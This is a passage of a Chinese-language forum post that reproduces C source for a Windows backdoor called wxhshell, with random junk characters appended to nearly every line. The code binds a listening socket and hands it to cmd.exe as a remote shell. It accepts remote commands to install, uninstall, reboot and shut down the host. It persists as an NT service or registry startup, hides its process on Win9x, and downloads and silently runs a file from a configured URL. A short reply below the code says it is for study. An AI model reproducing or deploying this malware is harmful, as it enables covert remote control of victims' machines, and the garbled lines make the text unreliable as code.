  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0_k '.5l%  
  else 'jmTXWq*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9V,!R{kO!  
  } |nbf'  
  else { sBu=e7  
VmCW6 G#M  
    switch(cmd[0]) { : q ti  
  ii%+jdi.  
  // 帮助 i.=w]S j  
  case '?': { DKfE.p)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DvPlV q~  
    break; h8 'v d3  
  } x&^_c0fn  
  // 安装 |_}2f  
  case 'i': { <F'X<Bau  
    if(Install()) RlheQTJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hOFOO_byzO  
    else :,WtR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eFBeJZuE|  
    break; :`E8Z:-R  
    } j>]nK~[ka  
  // 卸载 kgy:Q'  
  case 'r': { 4VHqBQ4  
    if(Uninstall()) PGYXhwOI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .w> 4  
    else n"+[ :w4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dcLA1sN,  
    break; k4,BNJt'Z  
    } ?6(I V]  
  // 显示 wxhshell 所在路径 C|d\3S\(  
  case 'p': { |X,|QC*7?  
    char svExeFile[MAX_PATH]; /c"efnb!  
    strcpy(svExeFile,"\n\r"); Ob}?zl@  
      strcat(svExeFile,ExeFile); $"dR SysB  
        send(wsh,svExeFile,strlen(svExeFile),0); uA,>a>xYI  
    break;  DVah  
    } AgOp.~*Z~V  
  // 重启 5~Cakd ]>  
  case 'b': { -:Fe7c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SF}<{x_  
    if(Boot(REBOOT)) Na$Is'F &p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b8$gx:aJ>$  
    else { CSGz3uC2D  
    closesocket(wsh); ^Y u6w\QM  
    ExitThread(0); GM<BO8Y.  
    } @mE)|.f  
    break; af#pR&4}   
    } ix W@7m  
  // 关机 t| 9 GS|  
  case 'd': { %)[+%57{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AtU v71D:  
    if(Boot(SHUTDOWN)) ( Fynok  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QU%I43  
    else { *.~6S3}  
    closesocket(wsh); cCo`~7rE  
    ExitThread(0); +j(d| L\  
    } j=*l$RG  
    break; T<JwD[ (  
    } SrFS#  
  // 获取shell ?+g`HTY u  
  case 's': { AZzuI*  
    CmdShell(wsh); nl(WJKq'  
    closesocket(wsh); K+Z+wA?  
    ExitThread(0); Zq,9&y~  
    break; 3uZJ.Fb  
  } o@#Y8M  
  // 退出 YLwnhy>dD  
  case 'x': { $U$V?x uE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |+35y_i6  
    CloseIt(wsh); 7SlsnhpW  
    break; +Vo}F  
    } qOSg!aft{Q  
  // 离开 OkCQ?]  
  case 'q': { 4l!@=qwn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ndjx|s)E  
    closesocket(wsh); 2pzF5h  
    WSACleanup(); 'fcMuBc+ 4  
    exit(1); "Fy7K#n  
    break; FP0G]=ME  
        } {r> .G7P6  
  } {%VV\qaC  
  } pl5P2&k  
Tneq6>  
  // 提示信息 JC}f-%H?K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xcrk;!IB?  
} pM{nh00[  
  } Z.W66\8~}^  
,g7.rEA  
  return; a-"k/P#  
} i^_#%L  
q}/WQ]p} <  
// shell模块句柄 _* IPk  
int CmdShell(SOCKET sock) lz?;#U  
{ jn%!AH  
STARTUPINFO si; ot`%*  
ZeroMemory(&si,sizeof(si)); !@x+q)2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lqowG!3H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S#-wl2z  
PROCESS_INFORMATION ProcessInfo; %'xb%`t  
char cmdline[]="cmd"; wO:Sg=,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  U3izvM  
  return 0; I=7Y]w=  
} S@}1t4Ls:  
"]m+z)lWd  
// 自身启动模式 Vo9F  
int StartFromService(void) ly4s"4v  
{ P7 ]z  
typedef struct Q~MC7-n>  
{ Q.9qImgN  
  DWORD ExitStatus; I.Y['%8,5~  
  DWORD PebBaseAddress; {ekCQeDo  
  DWORD AffinityMask; nI/kw%<  
  DWORD BasePriority; j,t#B"hOnp  
  ULONG UniqueProcessId; CW)Z[<d8  
  ULONG InheritedFromUniqueProcessId; ~%/Wupf  
}   PROCESS_BASIC_INFORMATION; mCs#.%dU  
:LWn<,4F&  
PROCNTQSIP NtQueryInformationProcess; RbGJ)K!  
9prU+9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4EXB;[ ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rUlS'L;$"  
Cv>o.Bp|  
  HANDLE             hProcess; iweD @b  
  PROCESS_BASIC_INFORMATION pbi; 'S<%Xm  
CvPioi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ( 7ws{)  
  if(NULL == hInst ) return 0; ^pS+/ZSi^  
[L6w1b,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^9_U Uzf\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c(U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [w0/\]o  
@v}B6j b;  
  if (!NtQueryInformationProcess) return 0; LuR,f"%2  
[3W*9j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;uqx@sx ;  
  if(!hProcess) return 0; `:wvh(  
f`8OM}un&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Aj9Ji"18za  
x$wd O  
  CloseHandle(hProcess); [xfaj'j=@  
v[TYc:L=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~1*A  
if(hProcess==NULL) return 0; `gpQW~*R-;  
q8Nn%o=5V  
HMODULE hMod; \ A%eG&  
char procName[255]; -/ x W  
unsigned long cbNeeded; .lBgp=!  
!)qQbk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e8h,,:l3j  
aup6?'G;  
  CloseHandle(hProcess); dI*'!wK  
1`LXz3uBe  
if(strstr(procName,"services")) return 1; // 以服务启动 0G <hn8>  
KtB!"yy#  
  return 0; // 注册表启动 R0;ef D  
} )9B:wc"  
G~wFnl%  
// 主模块 HPQ/~0$  
int StartWxhshell(LPSTR lpCmdLine) %d m-?`  
{ 1|ZhPsD.}g  
  SOCKET wsl; h{}mBQl  
BOOL val=TRUE; [pg}S#A  
  int port=0; |!H?+Jj:  
  struct sockaddr_in door; #fs|BV !  
{%.Lk'#9  
  if(wscfg.ws_autoins) Install(); 4KI [D{  
sM\lO  
port=atoi(lpCmdLine); (X+s-4%  
m ,>  
if(port<=0) port=wscfg.ws_port; p<`+sf}A:  
#FYAV%pi  
  WSADATA data; L{ho*^b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?$z.K>S5  
2X88:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V (rr"K+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g,]@4|  
  door.sin_family = AF_INET; "PH6e bm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6QZ5|T ]  
  door.sin_port = htons(port); q (+ZwaV@  
C+F*690h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2 ?|gnbE:  
closesocket(wsl); td{O}\s7D  
return 1; ~%#mK:+  
} ,WWj-X|+=  
]lS@}W\  
  if(listen(wsl,2) == INVALID_SOCKET) { P2 0|RvE  
closesocket(wsl); k_GP> b\"k  
return 1; YCy22@C  
} 8I+d)(:  
  Wxhshell(wsl); g):]'  
  WSACleanup(); ]Z4zF"@  
va|rO#.=  
return 0; {13!vS%5  
Vv*NFJ|  
} n&-496H  
*~z#.63oZ  
// 以NT服务方式启动 DB`QsiC)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7ODaX.t->  
{ -DO&_`kn  
DWORD   status = 0; wH"kk4^  
  DWORD   specificError = 0xfffffff; kII7z;<^`  
RbQ <m!A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LH]CUfUrUE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 49 }{R/:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DFe;4BdC  
  serviceStatus.dwWin32ExitCode     = 0; ,smF^l   
  serviceStatus.dwServiceSpecificExitCode = 0; Psa@@'w  
  serviceStatus.dwCheckPoint       = 0; znZ7*S >6\  
  serviceStatus.dwWaitHint       = 0; ~# 7wdP  
beZ(o?uK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UQd6/mD`e  
  if (hServiceStatusHandle==0) return; O.k \]'  
q]<xMg#nu  
status = GetLastError(); , fb( WY  
  if (status!=NO_ERROR) N dR ]  
{ %85Icg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W7UtA.2LT  
    serviceStatus.dwCheckPoint       = 0; FA>1x*;c  
    serviceStatus.dwWaitHint       = 0; 6J%iZ  
    serviceStatus.dwWin32ExitCode     = status; u/AT-e r;  
    serviceStatus.dwServiceSpecificExitCode = specificError; |V`S >m%N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sl~x$9`  
    return; X QbNH~  
  } <%bw/  
b>cafu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /N^~U&7  
  serviceStatus.dwCheckPoint       = 0; \&A+s4c")  
  serviceStatus.dwWaitHint       = 0; 5)+F(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0H=9@  
} m/USC'U%  
tLX,+P2|  
// 处理NT服务事件,比如:启动、停止 *,#q'!Hq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IftxSaP  
{ 0^_MN~s(X  
switch(fdwControl) C|z%P}u#p  
{ PDw{R]V+  
case SERVICE_CONTROL_STOP: d,'!.#e  
  serviceStatus.dwWin32ExitCode = 0; ]1fZupM^6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <fM>Yi5  
  serviceStatus.dwCheckPoint   = 0; 9Z!lmfnJ  
  serviceStatus.dwWaitHint     = 0; @?2n]n6  
  { WOndE=(V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RfbdBsL  
  } v@T'7?s.  
  return; 02 f9 wV  
case SERVICE_CONTROL_PAUSE: TGWdyIk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D6=HYqdj  
  break; BpT"~4oV5  
case SERVICE_CONTROL_CONTINUE: #q4*]qGHm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =B5E0x  
  break; T_L6 t66I  
case SERVICE_CONTROL_INTERROGATE: *Wyl2op6  
  break; sQk|I x  
}; yMIT(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P"4Mm, C  
} ~8Sqa%F>  
mC(u2  
// 标准应用程序主函数 ^eTZn[qH>w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kMe@+ysL  
{ ~%aJFs  
N+>'J23d!  
// 获取操作系统版本 ,OBQv.D3>a  
OsIsNt=GetOsVer(); c2b6B.4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _:,.yRez  
mrnxI#6  
  // 从命令行安装 MTB@CP!u  
  if(strpbrk(lpCmdLine,"iI")) Install(); ATO 5  
sC6r.@[u8t  
  // 下载执行文件 Z>{*ISvpq  
if(wscfg.ws_downexe) { b:x7)$(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +#v4B?NR  
  WinExec(wscfg.ws_filenam,SW_HIDE); >Pkdu}xP3  
} ku3D?D:V  
my[,w$YM  
if(!OsIsNt) { 'jbMTI  
// 如果时win9x,隐藏进程并且设置为注册表启动 RV]a%mVlM  
HideProc(); BD1K H;  
StartWxhshell(lpCmdLine); S1C^+Sla]  
} 0}-#b7eR  
else RdkU2Y}V  
  if(StartFromService()) S_T  
  // 以服务方式启动 B/u*<k4  
  StartServiceCtrlDispatcher(DispatchTable); _SF!T6A  
else XWF7#xM  
  // 普通方式启动 Rkr^Z?/GH  
  StartWxhshell(lpCmdLine); 1nXqi)&?;  
{_ 6t4h}  
return 0; =dn1}  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五